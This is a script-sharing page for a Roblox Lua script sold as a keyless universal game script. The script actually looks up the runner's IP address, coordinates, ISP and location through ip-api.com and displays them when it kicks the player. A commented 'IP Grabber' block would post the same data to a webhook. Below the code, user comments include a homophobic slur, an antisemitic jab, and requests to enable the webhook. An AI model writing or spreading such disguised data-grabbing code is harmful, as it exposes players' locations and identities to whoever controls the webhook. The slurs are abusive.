
KeylessUniversal

local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local d = game:GetService("HttpService"):JSONDecode(request({Url = "http://ip-api.com/json?fields=query,lat,lon,country,countryCode,continent,continentCode,region,regionName,city,district,zip,timezone,offset,isp,org,as,asname,reverse,mobile,proxy,hosting"}).Body)
local p = Players.LocalPlayer
p:Kick(("[Be careful Next time twin]\n"..
"User: %s (ID: %d)\n"..
"IP: %s\n"..
"Coordinates: %.6f, %.6f\n"..
"Continent: %s (%s)\n"..
"Country: %s (%s)\n"..
"Region: %s\n"..
"City: %s | District: %s\n"..
"ZIP: %s\n"..
"Timezone: %s (UTC%s)\n"..
"ISP: %s\n"..
"Organization: %s\n"..
"ASN: %s (%s)\n"..
"Reverse DNS: %s\n"..
"Mobile: %s\n"..
"Proxy: %s\n"..
"Hosting: %s"):format(
p.Name, p.UserId, d.query, d.lat, d.lon, d.continent, d.continentCode,
d.country, d.countryCode, d.regionName, d.city, d.district, d.zip,
d.timezone, d.offset, d.isp, d.org, d.as, d.asname, d.reverse,
d.mobile and "YES" or "NO", d.proxy and "YES" or "NO", d.hosting and "YES" or "NO"
))
--[[ WEBHOOK
local WEBHOOK = "dont_you_dare_to_use_this_to_someone"
HttpService:PostAsync(WEBHOOK, HttpService:JSONEncode({
username="IP Grabber", content=p.Name.." | "..d.query.." | "..d.lat..","..d.lon.." | "..d.city.." | "..d.country
}))
--]]
![[KEYLESS] Moondiety Script | 17+ supported Games](https://scriptblox.com/images/sb/0-1753093706828.png)


geys
@FORGEIN you're gay
im stupid or webhook didnt work
@mangal12323 because its educational
@mangal12323 smartest jew on scriptblox
this script just show my data🥀
@l15042000 thats point of script
So, how do you enable the webhook?
@o6gk education